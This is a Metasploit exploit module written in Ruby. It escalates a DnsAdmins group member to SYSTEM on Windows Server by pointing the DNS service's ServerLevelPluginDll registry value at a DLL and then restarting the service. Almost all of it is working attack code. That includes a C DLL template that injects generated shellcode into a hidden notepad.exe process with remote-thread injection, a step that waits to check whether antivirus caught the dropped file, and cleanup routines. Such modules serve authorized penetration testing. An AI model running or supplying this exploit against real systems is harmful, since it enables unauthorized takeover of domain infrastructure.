## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'metasploit/framework/compiler/windows' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Services include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'DnsAdmin ServerLevelPluginDll Feature Abuse Privilege Escalation', 'Description' => %q{ This module exploits a feature in the DNS service of Windows Server. Users of the DnsAdmins group can set the `ServerLevelPluginDll` value using dnscmd.exe to create a registry key at `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` named `ServerLevelPluginDll` that can be made to point to an arbitrary DLL. After doing so, restarting the service will load the DLL and cause it to execute, providing us with SYSTEM privileges. Increasing WfsDelay is recommended when using a UNC path. Users should note that if the DLLPath variable of this module is set to a UNC share that does not exist, the DNS server on the target will not be able to restart. Similarly if a UNC share is not utilized, and users instead opt to drop a file onto the disk of the target computer, and this gets picked up by Anti-Virus after the timeout specified by `AVTIMEOUT` expires, its possible that the `ServerLevelPluginDll` value of the `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\` key on the target computer may point to an nonexistant DLL, which will also prevent the DNS server from being able to restart. Users are advised to refer to the documentation for this module for advice on how to resolve this issue should it occur. This module has only been tested and confirmed to work on Windows Server 2019 Standard Edition, however it should work against any Windows Server version up to and including Windows Server 2019. }, 'References' => [ ['URL', 'https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83'], ['URL', 'https://adsecurity.org/?p=4064'], ['URL', 'http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html'] ], 'DisclosureDate' => 'May 08 2017', 'License' => MSF_LICENSE, 'Author' => [ 'Shay Ber', # vulnerability discovery 'Imran E. Dawoodjee ' # Metasploit module ], 'Platform' => 'win', 'Targets' => [[ 'Automatic', {} ]], 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'WfsDelay' => 20, 'EXITFUNC' => 'thread' }, 'Notes' => { 'Stability' => [CRASH_SERVICE_DOWN], # The service can go down if AV picks up on the file at an # non-optimal time or if the UNC path is typed in wrong. 'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('DLLNAME', [ true, 'DLL name (default: msf.dll)', 'msf.dll']), OptString.new('DLLPATH', [ true, 'Path to DLL. Can be a UNC path. (default: %TEMP%)', '%TEMP%']), OptBool.new('MAKEDLL', [ true, 'Just create the DLL, do not exploit.', false]), OptInt.new('AVTIMEOUT', [true, 'Time to wait for AV to potentially notice the DLL file we dropped, in seconds.', 60]) ] ) deregister_options('FILE_CONTENTS') end def check if sysinfo['OS'] =~ /Windows 20(03|08|12|16\+|16)/ vprint_good('OS seems vulnerable.') else vprint_error('OS is not vulnerable!') return Exploit::CheckCode::Safe end username = client.sys.config.getuid user_sid = client.sys.config.getsid hostname = sysinfo['Computer'] vprint_status("Running check against #{hostname} as user #{username}...") srv_info = service_info('DNS') if srv_info.nil? vprint_error('Unable to enumerate the DNS service!') return Exploit::CheckCode::Unknown end if srv_info && srv_info[:display].empty? vprint_error('The DNS service does not exist on this host!') return Exploit::CheckCode::Safe end # for use during permission check if srv_info[:dacl].nil? vprint_error('Unable to determine permissions on the DNS service!') return Exploit::CheckCode::Unknown end dacl_items = srv_info[:dacl].split('D:')[1].scan(/\((.+?)\)/) vprint_good("DNS service found on #{hostname}.") # user must be a member of the DnsAdmins group to be able to change ServerLevelPluginDll group_membership = get_whoami unless group_membership vprint_error('Unable to enumerate group membership!') return Exploit::CheckCode::Unknown end unless group_membership.include? 'DnsAdmins' vprint_error("User #{username} is not part of the DnsAdmins group!") return Exploit::CheckCode::Safe end # find the DnsAdmins group SID dnsadmin_sid = '' group_membership.each_line do |line| unless line.include? 'DnsAdmins' next end vprint_good("User #{username} is part of the DnsAdmins group.") line.split.each do |item| unless item.include? 'S-' next end vprint_status("DnsAdmins SID is #{item}") dnsadmin_sid = item break end break end # check if the user or DnsAdmins group has the proper permissions to start/stop the DNS service if dacl_items.any? { |dacl_item| dacl_item[0].include? dnsadmin_sid } dnsadmin_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? dnsadmin_sid }[0] if dnsadmin_dacl.include? 'RPWP' vprint_good('Members of the DnsAdmins group can start/stop the DNS service.') end elsif dacl_items.any? { |dacl_item| dacl_item[0].include? user_sid } user_dacl = dacl_items.select { |dacl_item| dacl_item[0].include? user_sid }[0] if user_dacl.include? 'RPWP' vprint_good("User #{username} can start/stop the DNS service.") end else vprint_error("User #{username} does not have permissions to start/stop the DNS service!") return Exploit::CheckCode::Safe end Exploit::CheckCode::Vulnerable end def exploit # get system architecture arch = sysinfo['Architecture'] if arch != payload_instance.arch.first fail_with(Failure::BadConfig, 'Wrong payload architecture!') end # no exploit, just create the DLL if datastore['MAKEDLL'] == true # copypasta from lib/msf/core/exploit/fileformat.rb # writes the generated DLL to ~/.msf4/local/ dllname = datastore['DLLNAME'] full_path = store_local('dll', nil, make_serverlevelplugindll(arch), dllname) print_good("#{dllname} stored at #{full_path}") return end # will exploit if is_system? fail_with(Failure::BadConfig, 'Session is already elevated!') end unless [CheckCode::Vulnerable].include? check fail_with(Failure::NotVulnerable, 'Target is most likely not vulnerable!') end # if the DNS service is not started, it will throw RPC_S_SERVER_UNAVAILABLE when trying to set ServerLevelPluginDll print_status('Checking service state...') svc_state = service_status('DNS') unless svc_state[:state] == 4 print_status('DNS service is stopped, starting it...') service_start('DNS') end # the service must be started before proceeding total_wait_time = 0 loop do svc_state = service_status('DNS') if svc_state[:state] == 4 sleep 1 break else sleep 2 total_wait_time += 2 fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90 end end # the if block assumes several things: # 1. operator has set up their own SMB share (SMB2 is default for most targets), as MSF does not support SMB2 yet # 2. operator has generated their own DLL with the correct payload and architecture # 3. operator's SMB share is accessible from the target. "Enable insecure guest logons" is "Enabled" on the target or # the target falls back to SMB1 dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip if datastore['DLLPATH'].start_with?('\\\\') # Using session.shell_command_token over cmd_exec() here as @wvu-r7 noticed cmd_exec() was broken under some situations. build_num_raw = session.shell_command_token('cmd.exe /c ver') build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/) if build_num.nil? print_error("Couldn't retrieve the target's build number!") return else build_num = build_num_raw.match(/\d+\.\d+\.\d+\.\d+/)[0] vprint_status("Target's build number: #{build_num}") end build_num_gemversion = Gem::Version.new(build_num) # If the target is running Windows 10 or Windows Server versions with a # build number of 16299 or later, aka v1709 or later, then we need to check # if "Enable insecure guest logons" is enabled on the target system as per # https://support.microsoft.com/en-us/help/4046019/guest-access-in-smb2-disabled-by-default-in-windows-10-and-windows-ser if (build_num_gemversion >= Gem::Version.new('10.0.16299.0')) # check if "Enable insecure guest logons" is enabled on the target system allow_insecure_guest_auth = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanWorkstation\\Parameters', 'AllowInsecureGuestAuth') unless allow_insecure_guest_auth == 1 fail_with(Failure::BadConfig, "'Enable insecure guest logons' is not set to Enabled on the target system!") end end print_status('Using user-provided UNC path.') else write_file(dllpath, make_serverlevelplugindll(arch)) print_good("Wrote DLL to #{dllpath}!") print_status("Sleeping for #{datastore['AVTIMEOUT']} seconds to ensure the file wasn't caught by any AV...") sleep(datastore['AVTIMEOUT']) unless file_exist?(dllpath.to_s) print_error('Woops looks like the DLL got picked up by AV or somehow got deleted...') return end print_good("Looks like our file wasn't caught by the AV.") end print_warning('Entering danger section...') print_status("Modifying ServerLevelPluginDll to point to #{dllpath}...") dnscmd_result = cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll #{dllpath}").to_s.strip unless dnscmd_result.include? 'success' fail_with(Failure::UnexpectedReply, dnscmd_result.split("\n")[0]) end print_good(dnscmd_result.split("\n")[0]) # restart the DNS service print_status('Restarting the DNS service...') restart_service end def on_new_session(session) if datastore['DLLPATH'].start_with?('\\\\') return else if session.type == 'meterpreter' session.core.use('stdapi') unless session.ext.aliases.include?('stdapi') end vprint_status('Erasing ServerLevelPluginDll registry value...') cmd_exec("cmd.exe /c dnscmd \\\\#{sysinfo['Computer']} /config /serverlevelplugindll") print_good('Exited danger zone successfully!') dllpath = expand_path("#{datastore['DLLPATH']}\\#{datastore['DLLNAME']}").strip restart_service('session' => session, 'dllpath' => dllpath) end end def restart_service(opts = {}) # for deleting the DLL if opts['session'] && opts['dllpath'] session = opts['session'] dllpath = opts['dllpath'] end service_stop('DNS') # see if the service has really been stopped total_wait_time = 0 loop do svc_state = service_status('DNS') if svc_state[:state] == 1 sleep 1 break else sleep 2 total_wait_time += 2 fail_with(Failure::TimeoutExpired, 'Was unable to stop the DNS service after 3 minutes of trying...') if total_wait_time >= 90 end end # clean up the dropped DLL if session && dllpath && !datastore['DLLPATH'].start_with?('\\\\') vprint_status("Removing #{dllpath}...") session.fs.file.rm dllpath end service_start('DNS') # see if the service has really been started total_wait_time = 0 loop do svc_state = service_status('DNS') if svc_state[:state] == 4 sleep 1 break else sleep 2 total_wait_time += 2 fail_with(Failure::TimeoutExpired, 'Was unable to start the DNS service after 3 minutes of trying...') if total_wait_time >= 90 end end end def make_serverlevelplugindll(arch) # generate the payload payload = generate_payload # the C template for the ServerLevelPluginDll DLL c_template = %| #include #include #include BOOL APIENTRY DllMain __attribute__((export))(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) { switch (dwReason) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int DnsPluginCleanup __attribute__((export))(void) { return 0; } int DnsPluginQuery __attribute__((export))(PVOID a1, PVOID a2, PVOID a3, PVOID a4) { return 0; } int DnsPluginInitialize __attribute__((export))(PVOID a1, PVOID a2) { STARTUPINFO startup_info; PROCESS_INFORMATION process_info; char throwaway_buffer[8]; ZeroMemory(&startup_info, sizeof(startup_info)); startup_info.cb = sizeof(STARTUPINFO); startup_info.dwFlags = STARTF_USESHOWWINDOW; startup_info.wShowWindow = 0; if (CreateProcess(NULL, "C:\\\\Windows\\\\System32\\\\notepad.exe", NULL, NULL, FALSE, 0, NULL, NULL, &startup_info, &process_info)) { HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; unsigned char shellcode[] = "SHELLCODE_PLACEHOLDER"; processHandle = OpenProcess(0x1F0FFF, FALSE, process_info.dwProcessId); remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, 0x3000, PAGE_EXECUTE_READWRITE); WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL); remoteThread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)remoteBuffer, NULL, 0, NULL); CloseHandle(process_info.hThread); CloseHandle(processHandle); } return 0; } | c_template.gsub!('SHELLCODE_PLACEHOLDER', Rex::Text.to_hex(payload.raw).to_s) cpu = nil case arch when 'x86' cpu = Metasm::Ia32.new when 'x64' cpu = Metasm::X86_64.new else fail_with(Failure::NoTarget, 'Target arch is not compatible') end print_status('Building DLL...') Metasploit::Framework::Compiler::Windows.compile_c(c_template, :dll, cpu) end end